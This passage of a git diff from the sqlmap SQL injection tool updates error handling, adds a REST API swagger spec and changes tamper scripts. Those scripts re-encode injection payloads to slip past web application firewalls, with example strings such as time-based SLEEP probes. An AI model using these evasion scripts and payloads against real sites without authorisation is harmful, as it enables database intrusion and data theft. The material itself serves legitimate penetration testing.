errMsg = "output device is mounted as read-only" - logger.error(errMsg) - raise SystemExit - - elif "OperationalError: disk I/O error" in excMsg: - errMsg = "I/O error on output device" - logger.error(errMsg) - raise SystemExit - - elif "Violation of BIDI" in excMsg: - errMsg = "invalid URL (violation of Bidi IDNA rule - RFC 5893)" - logger.error(errMsg) - raise SystemExit - - elif "_mkstemp_inner" in excMsg: - errMsg = "there has been a problem while accessing temporary files" - logger.error(errMsg) - raise SystemExit - - elif all(_ in excMsg for _ in ("twophase", "sqlalchemy")): - errMsg = "please update the 'sqlalchemy' package" - errMsg += "(Reference: https://github.com/apache/incubator-superset/issues/3447)" - logger.error(errMsg) - raise SystemExit - - elif "can't start new thread" in excMsg: - errMsg = "there has been a problem while creating new thread instance. " - errMsg += "Please make sure that you are not running too many processes" - if not IS_WIN: - errMsg += " (or increase the 'ulimit -u' value)" - logger.error(errMsg) - raise SystemExit - - elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")): - errMsg = "there has been a problem in enumeration. " - errMsg += "Because of a considerable chance of false-positive case " - errMsg += "you are advised to rerun with switch '--flush-session'" - logger.error(errMsg) - raise SystemExit - - elif all(_ in excMsg for _ in ("pymysql", "configparser")): - errMsg = "wrong initialization of pymsql detected (using Python3 dependencies)" - logger.error(errMsg) - raise SystemExit - - elif "bad marshal data (unknown type code)" in excMsg: - match = re.search(r"\s*(.+)\s+ValueError", excMsg) - errMsg = "one of your .pyc files are corrupted%s" % (" ('%s')" % match.group(1) if match else "") - errMsg += ". Please delete .pyc files on your system to fix the problem" - logger.error(errMsg) - raise SystemExit - - elif "valueStack.pop" in excMsg and kb.get("dumpKeyboardInterrupt"): - raise SystemExit - - elif any(_ in excMsg for _ in ("Broken pipe",)): - raise SystemExit - - for match in re.finditer(r'File "(.+?)", line', excMsg): - file_ = match.group(1) - file_ = os.path.relpath(file_, os.path.dirname(__file__)) - file_ = file_.replace("\\", '/') - file_ = re.sub(r"\.\./", '/', file_).lstrip('/') - excMsg = excMsg.replace(match.group(1), file_) - - errMsg = maskSensitiveData(errMsg) - excMsg = maskSensitiveData(excMsg) - - if conf.get("api") or not valid: - logger.critical("%s\n%s" % (errMsg, excMsg)) + if valid is False: + errMsg = "code integrity check failed (turning off automatic issue creation). " + errMsg += "You should retrieve the latest development version from official GitHub " + errMsg += "repository at '%s'" % GIT_PAGE + logger.critical(errMsg) + print + dataToStdout(excMsg) + raise SystemExit + + elif any(_ in excMsg for _ in ("tamper/", "waf/")): + logger.critical(errMsg) + print + dataToStdout(excMsg) + raise SystemExit + + elif any(_ in excMsg for _ in ("ImportError", "Can't find file for module")): + errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() + logger.critical(errMsg) + raise SystemExit + + elif "MemoryError" in excMsg: + errMsg = "memory exhaustion detected" + logger.critical(errMsg) + raise SystemExit + + elif any(_ in excMsg for _ in ("No space left", "Disk quota exceeded")): + errMsg = "no space left on output device" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("No such file", "_'", "self.get_prog_name()")): + errMsg = "corrupted installation detected ('%s'). " % excMsg.strip().split('\n')[-1] + errMsg += "You should retrieve the latest development version from official GitHub " + errMsg += "repository at '%s'" % GIT_PAGE + logger.critical(errMsg) + raise SystemExit + + elif "Read-only file system" in excMsg: + errMsg = "output device is mounted as read-only" + logger.critical(errMsg) + raise SystemExit + + elif "OperationalError: disk I/O error" in excMsg: + errMsg = "I/O error on output device" + logger.critical(errMsg) + raise SystemExit + + elif "Violation of BIDI" in excMsg: + errMsg = "invalid URL (violation of Bidi IDNA rule - RFC 5893)" + logger.critical(errMsg) + raise SystemExit + + elif "_mkstemp_inner" in excMsg: + errMsg = "there has been a problem while accessing temporary files" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("twophase", "sqlalchemy")): + errMsg = "please update the 'sqlalchemy' package (>= 1.1.11) " + errMsg += "(Reference: https://qiita.com/tkprof/items/7d7b2d00df9c5f16fffe)" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("scramble_caching_sha2", "TypeError")): + errMsg = "please downgrade the 'PyMySQL' package (=< 0.8.1) " + errMsg += "(Reference: https://github.com/PyMySQL/PyMySQL/issues/700)" + logger.critical(errMsg) + raise SystemExit + + elif "must be pinned buffer, not bytearray" in excMsg: + errMsg = "error occurred at Python interpreter which " + errMsg += "is fixed in 2.7.x. Please update accordingly " + errMsg += "(Reference: https://bugs.python.org/issue8104)" + logger.critical(errMsg) + raise SystemExit + + elif "can't start new thread" in excMsg: + errMsg = "there has been a problem while creating new thread instance. " + errMsg += "Please make sure that you are not running too many processes" + if not IS_WIN: + errMsg += " (or increase the 'ulimit -u' value)" + logger.critical(errMsg) + raise SystemExit + + elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")): + errMsg = "there has been a problem in enumeration. " + errMsg += "Because of a considerable chance of false-positive case " + errMsg += "you are advised to rerun with switch '--flush-session'" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("pymysql", "configparser")): + errMsg = "wrong initialization of pymsql detected (using Python3 dependencies)" + logger.critical(errMsg) + raise SystemExit + + elif "bad marshal data (unknown type code)" in excMsg: + match = re.search(r"\s*(.+)\s+ValueError", excMsg) + errMsg = "one of your .pyc files are corrupted%s" % (" ('%s')" % match.group(1) if match else "") + errMsg += ". Please delete .pyc files on your system to fix the problem" + logger.critical(errMsg) + raise SystemExit + + elif kb.get("dumpKeyboardInterrupt"): + raise SystemExit + + elif any(_ in excMsg for _ in ("Broken pipe",)): + raise SystemExit + + for match in re.finditer(r'File "(.+?)", line', excMsg): + file_ = match.group(1) + file_ = os.path.relpath(file_, os.path.dirname(__file__)) + file_ = file_.replace("\\", '/') + if "../" in file_: + file_ = re.sub(r"(\.\./)+", '/', file_) else: - logger.critical(errMsg) - kb.stickyLevel = logging.CRITICAL - dataToStdout(excMsg) - createGithubIssue(errMsg, excMsg) + file_ = file_.lstrip('/') + file_ = re.sub(r"/{2,}", '/', file_) + excMsg = excMsg.replace(match.group(1), file_) - except KeyboardInterrupt: - pass + errMsg = maskSensitiveData(errMsg) + excMsg = maskSensitiveData(excMsg) + + if conf.get("api") or not valid: + logger.critical("%s\n%s" % (errMsg, excMsg)) + else: + logger.critical(errMsg) + kb.stickyLevel = logging.CRITICAL + dataToStdout(excMsg) + createGithubIssue(errMsg, excMsg) finally: kb.threadContinue = False if conf.get("showTime"): - dataToStdout("\n[*] shutting down at %s\n\n" % time.strftime("%X"), forceOutput=True) + dataToStdout("\n[*] ending @ %s\n\n" % time.strftime("%X /%Y-%m-%d/"), forceOutput=True) kb.threadException = True @@ -343,41 +355,39 @@ def main(): shutil.rmtree(kb.tempDir, ignore_errors=True) if conf.get("hashDB"): - try: - conf.hashDB.flush(True) - except KeyboardInterrupt: - pass + conf.hashDB.flush(True) if conf.get("harFile"): with openFile(conf.harFile, "w+b") as f: json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': ')) - if cmdLineOptions.get("sqlmapShell"): - cmdLineOptions.clear() - conf.clear() - kb.clear() - main() - if conf.get("api"): - try: - conf.databaseCursor.disconnect() - except KeyboardInterrupt: - pass + conf.databaseCursor.disconnect() if conf.get("dumper"): conf.dumper.flush() # short delay for thread finalization - try: - _ = time.time() - while threading.activeCount() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT: - time.sleep(0.01) - except KeyboardInterrupt: - pass - finally: - # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program - if threading.activeCount() > 1: - os._exit(0) + _ = time.time() + while threading.activeCount() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT: + time.sleep(0.01) + + if cmdLineOptions.get("sqlmapShell"): + cmdLineOptions.clear() + conf.clear() + kb.clear() + conf.disableBanner = True + main() if __name__ == "__main__": - main() + try: + main() + except KeyboardInterrupt: + pass + finally: + # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program + if threading.activeCount() > 1: + os._exit(0) +else: + # cancelling postponed imports (because of Travis CI checks) + from lib.controller.controller import start diff --git a/sqlmapapi.py b/sqlmapapi.py index c653aa3002e..6804f7cf652 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -40,8 +40,8 @@ def main(): # Parse command line options apiparser = optparse.OptionParser() - apiparser.add_option("-s", "--server", help="Act as a REST-JSON API server", default=RESTAPI_DEFAULT_PORT, action="store_true") - apiparser.add_option("-c", "--client", help="Act as a REST-JSON API client", default=RESTAPI_DEFAULT_PORT, action="store_true") + apiparser.add_option("-s", "--server", help="Run as a REST-JSON API server", default=RESTAPI_DEFAULT_PORT, action="store_true") + apiparser.add_option("-c", "--client", help="Run as a REST-JSON API client", default=RESTAPI_DEFAULT_PORT, action="store_true") apiparser.add_option("-H", "--host", help="Host of the REST-JSON API server (default \"%s\")" % RESTAPI_DEFAULT_ADDRESS, default=RESTAPI_DEFAULT_ADDRESS, action="store") apiparser.add_option("-p", "--port", help="Port of the the REST-JSON API server (default %d)" % RESTAPI_DEFAULT_PORT, default=RESTAPI_DEFAULT_PORT, type="int", action="store") apiparser.add_option("--adapter", help="Server (bottle) adapter to use (default \"%s\")" % RESTAPI_DEFAULT_ADAPTER, default=RESTAPI_DEFAULT_ADAPTER, action="store") diff --git a/swagger.yaml b/swagger.yaml new file mode 100644 index 00000000000..6269bba0b2a --- /dev/null +++ b/swagger.yaml @@ -0,0 +1,460 @@ +# Note: written with Swagger Editor (https://editor.swagger.io/) +swagger: "2.0" +info: + description: "" + version: "1.2" + title: "sqlmap API" + contact: + email: "dev@sqlmap.org" + license: + name: "GPL 2.0" + url: "https://www.gnu.org/licenses/old-licenses/gpl-2.0.html" +host: "0.0.0.0:8775" +basePath: "/" +tags: +- name: "task" + description: "Task management functions" +- name: "admin" + description: "Task administration functions" +- name: "option" + description: "Task option handling functions" +schemes: +- "http" +paths: + /task/new: + get: + tags: + - "task" + summary: "Create a new task" + description: "" + operationId: "taskNew" + produces: + - "application/json" + parameters: [] + responses: + 200: + description: "Task successfully created" + schema: + type: object + properties: + success: + type: boolean + taskid: + type: string + example: "7e605b5d5a892b74" + /task/{taskid}/delete: + get: + tags: + - "task" + summary: "Delete an existing task" + description: "" + operationId: "taskDelete" + produces: + - "application/json" + parameters: + - name: "taskid" + in: "path" + description: "ID of an existing task to delete" + required: true + type: "string" + responses: + 200: + description: "Task successfully deleted" + schema: + type: object + properties: + success: + type: boolean + enum: [true] + 404: + description: "Task ID not found" + schema: + type: object + properties: + success: + type: boolean + enum: [false] + message: + type: string + enum: ["Non-existing task ID"] + /admin/list: + get: + tags: + - "admin" + summary: "Pull task list (locally)" + description: "Note: Use in cases when connecting to server from same IP (e.g. `localhost`)" + operationId: "adminList" + produces: + - "application/json" + responses: + 200: + description: "Task list successfully pulled" + schema: + type: object + properties: + success: + type: boolean + enum: [true] + tasks: + type: object + additionalProperties: + type: string + example: + 16a7a898e8eaaf45: running + 644fc063408e4f12: not running + 8e2eb10770d913cd: not running + d59d1c69bdc06933: not running + tasks_num: + type: integer + example: 4 + /admin/{token}/list: + get: + tags: + - "admin" + summary: "Pull task list (remotely)" + description: "Note: Use in cases when connecting to server from different IP" + operationId: "adminListToken" + produces: + - "application/json" + parameters: + - name: "token" + in: "path" + description: "Secret token (Note: written to console during a server run - e.g. `2756d5b6e7d093ba49b5fd06a93aca7a`)" + required: true + type: "string" + responses: + 200: + description: "Task list successfully pulled" + schema: + type: object + properties: + success: + type: boolean + enum: [true] + tasks: + type: object + additionalProperties: + type: string + example: + 5c911efa476b55f4: not running + 5ee038e153ffc534: not running + e58c7a4de6bf7f51: not running + tasks_num: + type: integer + example: 4 + /admin/flush: + get: + tags: + - "admin" + summary: "Flush task pool (locally)" + description: "Note: Use in cases when connecting to server from same IP (e.g. `localhost`)" + operationId: "adminFlush" + produces: + - "application/json" + responses: + 200: + description: "Task pool successfully flushed" + schema: + type: object + properties: + success: + type: boolean + enum: [true] + /admin/{token}/flush: + get: + tags: + - "admin" + summary: "Flush task pool (remotely)" + description: "Note: Use in cases when connecting to server from different IP" + operationId: "adminFlushToken" + produces: + - "application/json" + parameters: + - name: "token" + in: "path" + description: "Secret token (Note: written to console during a server run - e.g. `2756d5b6e7d093ba49b5fd06a93aca7a`)" + required: true + type: "string" + responses: + 200: + description: "Task pool successfully flushed" + schema: + type: object + properties: + success: + type: boolean + enum: [true] + /option/{taskid}/list: + get: + tags: + - "option" + summary: "List task options" + description: "" + operationId: "optionList" + produces: + - "application/json" + parameters: + - name: "taskid" + in: "path" + description: "ID of an existing task to list it's options" + required: true + type: "string" + responses: + 200: + description: "Task options successfully listed" + schema: + type: object + properties: + success: + type: boolean + enum: [true] + options: + type: object + additionalProperties: + type: string + example: + crawlDepth: null + osShell: false + getUsers: false + getPasswordHashes: false + excludeSysDbs: false + ignoreTimeouts: false + regData: null + fileDest: null + prefix: null + code: null + googlePage: 1 + skip: null + query: null + randomAgent: false + osPwn: false + authType: null + safeUrl: null + requestFile: null + predictOutput: false + wizard: false + stopFail: false + forms: false + uChar: null + secondReq: null + taskid: d977b0e5f091370e + pivotColumn: null + dropSetCookie: false + smart: false + paramExclude: null + risk: 1 + sqlFile: null + rParam: null + getCurrentUser: false + notString: null + getRoles: false + getPrivileges: false + testParameter: null + tbl: null + charset: null + trafficFile: null + osSmb: false + level: 1 + dnsDomain: null + outputDir: null + encoding: null + skipWaf: false + timeout: 30 + firstChar: null + torPort: null + getComments: false + binaryFields: null + checkTor: false + commonTables: false + direct: null + tmpPath: null + titles: false + getSchema: false + identifyWaf: false + paramDel: null + safeReqFile: null + regKey: null + murphyRate: null + limitStart: null + crawlExclude: null + flushSession: false + loadCookies: null + csvDel: + offline: false + method: null + tmpDir: null + fileWrite: null + disablePrecon: false + osBof: false + testSkip: null + invalidLogical: false + getCurrentDb: false + hexConvert: false + proxyFile: null + answers: null + host: null + dependencies: false + cookie: null + proxy: null + regType: null + optimize: false + limitStop: null + search: false + uFrom: null + noCast: false + testFilter: null + ignoreCode: null + eta: false + csrfToken: null + threads: 1 + logFile: null + os: null + col: null + skipStatic: false + proxyCred: null + verbose: 1 + isDba: false + updateAll: false + privEsc: false + forceDns: false + getAll: false + api: true + url: http://www.test.com/index.php?id=1 + invalidBignum: false + regexp: null + getDbs: false + freshQueries: false + uCols: null + smokeTest: false + udfInject: false + invalidString: false + tor: false + forceSSL: false + beep: false + noEscape: false + configFile: null + scope: null + authFile: null + torType: SOCKS5 + regVal: null + dummy: false + checkInternet: false + safePost: null + safeFreq: null + skipUrlEncode: false + referer: null + liveTest: false + retries: 3 + extensiveFp: false + dumpTable: false + getColumns: false + batch: true + purge: false + headers: null + authCred: null + osCmd: null + suffix: null + dbmsCred: null + regDel: false + shLib: null + sitemapUrl: null + timeSec: 5 + msfPath: null + dumpAll: false + fileRead: null + getHostname: false + sessionFile: null + disableColoring: true + getTables: false + listTampers: false + agent: null + webRoot: null + exclude: null + lastChar: null + string: null + dbms: null + dumpWhere: null + tamper: null + ignoreRedirects: false + hpp: false + runCase: null + delay: 0 + evalCode: null + cleanup: false + csrfUrl: null + secondUrl: null + getBanner: true + profile: false + regRead: false + bulkFile: null + db: null + dumpFormat: CSV + alert: null + harFile: null + nullConnection: false + user: null + parseErrors: false + getCount: false + data: null + regAdd: false + ignoreProxy: false + database: /tmp/sqlmapipc-jGw6ZY + mobile: false + googleDork: null + saveConfig: null + sqlShell: false + tech: BEUSTQ + textOnly: false + cookieDel: null + commonColumns: false + keepAlive: false + /option/{taskid}/get: + post: + tags: + - "option" + summary: "Get task option value(s)" + description: "" + operationId: "optionGet" + consumes: + - "application/json" + produces: + - "application/json" + parameters: + - name: "taskid" + in: "path" + description: "ID of an existing task" + required: true + type: "string" + - in: body + name: options + description: "" + schema: + type: array + items: + type: string + example: ["url", "timeout"] + responses: + 200: + description: "Task option value successfully retrieved" + schema: + type: object + properties: + success: + type: boolean + options: + type: array + items: + type: object + properties: + name: + type: string + value: + type: string + example: + - success: true + options: + url: http://www.test.com/index.php?id=1 + timeout: 30 +externalDocs: + description: "Find out more about sqlmap API (REST-JSON)" + url: "https://github.com/sqlmapproject/sqlmap/wiki/Usage#api-rest-json" \ No newline at end of file diff --git a/tamper/0x2char.py b/tamper/0x2char.py new file mode 100644 index 00000000000..26bb4fda017 --- /dev/null +++ b/tamper/0x2char.py @@ -0,0 +1,44 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces each (MySQL) 0x encoded string with equivalent CONCAT(CHAR(),...) counterpart + + Requirement: + * MySQL + + Tested against: + * MySQL 4, 5.0 and 5.5 + + Notes: + * Useful in cases when web application does the upper casing + + >>> tamper('SELECT 0xdeadbeef') + 'SELECT CONCAT(CHAR(222),CHAR(173),CHAR(190),CHAR(239))' + """ + + retVal = payload + + if payload: + for match in re.finditer(r"\b0x([0-9a-f]+)\b", retVal): + if len(match.group(1)) > 2: + result = "CONCAT(%s)" % ','.join("CHAR(%d)" % ord(_) for _ in match.group(1).decode("hex")) + else: + result = "CHAR(%d)" % ord(match.group(1).decode("hex")) + retVal = retVal.replace(match.group(0), result) + + return retVal diff --git a/tamper/__init__.py b/tamper/__init__.py index 7181b22a163..c654cbef7f4 100644 --- a/tamper/__init__.py +++ b/tamper/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/apostrophemask.py b/tamper/apostrophemask.py index f41465a30dc..d5ed52de31f 100644 --- a/tamper/apostrophemask.py +++ b/tamper/apostrophemask.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -14,7 +14,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces apostrophe character with its UTF-8 full width counterpart + Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87) References: * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128 diff --git a/tamper/apostrophenullencode.py b/tamper/apostrophenullencode.py index 73f4309abc5..751c0096bcc 100644 --- a/tamper/apostrophenullencode.py +++ b/tamper/apostrophenullencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -14,7 +14,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces apostrophe character with its illegal double unicode counterpart + Replaces apostrophe character (') with its illegal double unicode counterpart (e.g. ' -> %00%27) >>> tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' diff --git a/tamper/appendnullbyte.py b/tamper/appendnullbyte.py index f7c7d42d8ca..5d23e4d5789 100644 --- a/tamper/appendnullbyte.py +++ b/tamper/appendnullbyte.py @@ -1,20 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ +import os + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): - pass + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ACCESS)) def tamper(payload, **kwargs): """ - Appends encoded NULL byte character at the end of payload + Appends (Access) NULL byte character (%00) at the end of payload Requirement: * Microsoft Access diff --git a/tamper/base64encode.py b/tamper/base64encode.py index 1ff2b521823..86eaa1c7bd5 100644 --- a/tamper/base64encode.py +++ b/tamper/base64encode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -10,14 +10,14 @@ from lib.core.enums import PRIORITY from lib.core.settings import UNICODE_ENCODING -__priority__ = PRIORITY.LOWEST +__priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ - Base64 all characters in a given payload + Base64-encodes all characters in a given payload >>> tamper("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' diff --git a/tamper/between.py b/tamper/between.py index 57edd5151de..7ee05fb41db 100644 --- a/tamper/between.py +++ b/tamper/between.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -16,8 +16,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' - Replaces equals operator ('=') with 'BETWEEN # AND #' + Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' and equals operator ('=') with 'BETWEEN # AND #' Tested against: * Microsoft SQL Server 2005 @@ -46,7 +45,7 @@ def tamper(payload, **kwargs): _ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5)) retVal = retVal.replace(match.group(0), _) else: - retVal = re.sub(r"\s*>\s*(\d+|'[^']+'|\w+\(\d+\))", " NOT BETWEEN 0 AND \g<1>", payload) + retVal = re.sub(r"\s*>\s*(\d+|'[^']+'|\w+\(\d+\))", r" NOT BETWEEN 0 AND \g<1>", payload) if retVal == payload: match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*=\s*(\w+)\s*", payload) @@ -55,5 +54,4 @@ def tamper(payload, **kwargs): _ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5)) retVal = retVal.replace(match.group(0), _) - return retVal diff --git a/tamper/bluecoat.py b/tamper/bluecoat.py index 0258f698302..4b88a3985c5 100644 --- a/tamper/bluecoat.py +++ b/tamper/bluecoat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -17,8 +17,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces space character after SQL statement with a valid random blank character. - Afterwards replace character = with LIKE operator + Replaces space character after SQL statement with a valid random blank character. Afterwards replace character '=' with operator LIKE Requirement: * Blue Coat SGOS with WAF activated as documented in diff --git a/tamper/chardoubleencode.py b/tamper/chardoubleencode.py index c7b51c646b8..512c2b3b4c6 100644 --- a/tamper/chardoubleencode.py +++ b/tamper/chardoubleencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -16,13 +16,10 @@ def dependencies(): def tamper(payload, **kwargs): """ - Double url-encodes all characters in a given payload (not processing - already encoded) + Double URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %2553%2545%254C%2545%2543%2554) Notes: - * Useful to bypass some weak web application firewalls that do not - double url-decode the request before processing it through their - ruleset + * Useful to bypass some weak web application firewalls that do not double URL-decode the request before processing it through their ruleset >>> tamper('SELECT FIELD FROM%20TABLE') '%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545' diff --git a/tamper/charencode.py b/tamper/charencode.py index ea7f4a2a476..bf2283b1f70 100644 --- a/tamper/charencode.py +++ b/tamper/charencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -16,8 +16,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Url-encodes all characters in a given payload (not processing already - encoded) + URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54) Tested against: * Microsoft SQL Server 2005 @@ -26,10 +25,8 @@ def tamper(payload, **kwargs): * PostgreSQL 8.3, 8.4, 9.0 Notes: - * Useful to bypass very weak web application firewalls that do not - url-decode the request before processing it through their ruleset - * The web server will anyway pass the url-decoded version behind, - hence it should work against any DBMS + * Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset + * The web server will anyway pass the url-decoded version behind, hence it should work against any DBMS >>> tamper('SELECT FIELD FROM%20TABLE') '%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45' diff --git a/tamper/charunicodeencode.py b/tamper/charunicodeencode.py index b0e34aad170..8bd456fabc4 100644 --- a/tamper/charunicodeencode.py +++ b/tamper/charunicodeencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -18,8 +18,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Unicode-url-encodes non-encoded characters in a given payload (not - processing already encoded) + Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054) Requirement: * ASP @@ -32,9 +31,7 @@ def tamper(payload, **kwargs): * PostgreSQL 9.0.3 Notes: - * Useful to bypass weak web application firewalls that do not - unicode url-decode the request before processing it through their - ruleset + * Useful to bypass weak web application firewalls that do not unicode URL-decode the request before processing it through their ruleset >>> tamper('SELECT FIELD%20FROM TABLE') '%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045' diff --git a/tamper/charunicodeescape.py b/tamper/charunicodeescape.py index 913ea950b48..790d8d6c49a 100644 --- a/tamper/charunicodeescape.py +++ b/tamper/charunicodeescape.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -9,12 +9,11 @@ from lib.core.enums import PRIORITY -__priority__ = PRIORITY.LOWEST +__priority__ = PRIORITY.NORMAL def tamper(payload, **kwargs): """ - Unicode-escapes non-encoded characters in a given payload (not - processing already encoded) + Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054) Notes: * Useful to bypass weak filtering and/or WAFs in JSON contexes diff --git a/tamper/commalesslimit.py b/tamper/commalesslimit.py index 636b65710b9..7ebecbcecb4 100644 --- a/tamper/commalesslimit.py +++ b/tamper/commalesslimit.py @@ -1,22 +1,25 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ +import os import re +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGH def dependencies(): - pass + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ - Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' + Replaces (MySQL) instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' counterpart Requirement: * MySQL diff --git a/tamper/commalessmid.py b/tamper/commalessmid.py index c0d9feaceb2..3795868297a 100644 --- a/tamper/commalessmid.py +++ b/tamper/commalessmid.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -9,16 +9,17 @@ import re from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGH def dependencies(): - pass + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ - Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)' + Replaces (MySQL) instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)' counterpart Requirement: * MySQL diff --git a/tamper/commentbeforeparentheses.py b/tamper/commentbeforeparentheses.py index f736a557040..23933c279ea 100644 --- a/tamper/commentbeforeparentheses.py +++ b/tamper/commentbeforeparentheses.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying 